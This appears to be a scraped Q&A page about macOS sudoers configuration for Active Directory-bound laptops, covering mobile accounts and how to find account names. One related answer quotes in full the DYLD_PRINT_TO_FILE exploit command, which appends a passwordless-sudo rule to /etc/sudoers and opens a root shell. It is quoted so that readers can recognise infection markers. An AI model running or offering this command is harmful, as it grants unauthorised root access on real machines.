MacOS – Sudoers file plist

macosmobile-device-managementsudo

Using OSX server profiles to configure our fleet of Active Directory connected Macbooks.

When our laptops are not connected to the internal network (or via VPN), their AD group membership is lost. Sudo is locally configured to allow an AD admin group access to sudo, however when AD is unavailable, users can no longer sudo.

Best solution would be to allow group membership to be cached locally, but since I believe this to be impossible (read: undocumented), I'm searching for a plist that would allow me to add the local user (using %shortname) to the sudoers file.

Best Answer

You can cache AD credentials by creating a "mobile account" on each machine. From Directory Utility > Active Directory > open disclosure triangle > User Experience > Create mobile account at login. Although, I will warn you, I have had some permissions issues when 'creating a mobile account' after the home folder/user has already been created.

Related Solutions

MacOS – How to solve “User is not in sudoers file, incident reported”

sudo exclusively uses account names, not the user's full name. As a hint, account names don't contain spaces, so "Syammala Naidu" is not correct.

To find out a user's account name:

Open Terminal and run:
```
id -un
```

or, alternatively:

Open System Preferences.
Select Users & Groups.
If necessary, click the lock on the bottom left corner of the window and type an administrator's name and password to unlock the preference pane.
Right-click the account and select Advanced Options....
Locate the Account name property:

Use that account name in /etc/sudoers. To edit the file, use visudo. For more information, check man visudo and man sudoers.

MacOS – DYLD_PRINT_TO_FILE & sudoers Exploit: What are the markers in the sudoers file

This is the infecting command:

echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

This means, that you'll have line like:

USERNAME ALL=(ALL) NOPASSWD:ALL

at the end of your sudoers file.

NOTE: USERNAME is your username in the system. It won't have hash tag # in front.

Best Answer

Related Solutions

MacOS – How to solve “User is not in sudoers file, incident reported”

MacOS – DYLD_PRINT_TO_FILE & sudoers Exploit: What are the markers in the sudoers file

Related Question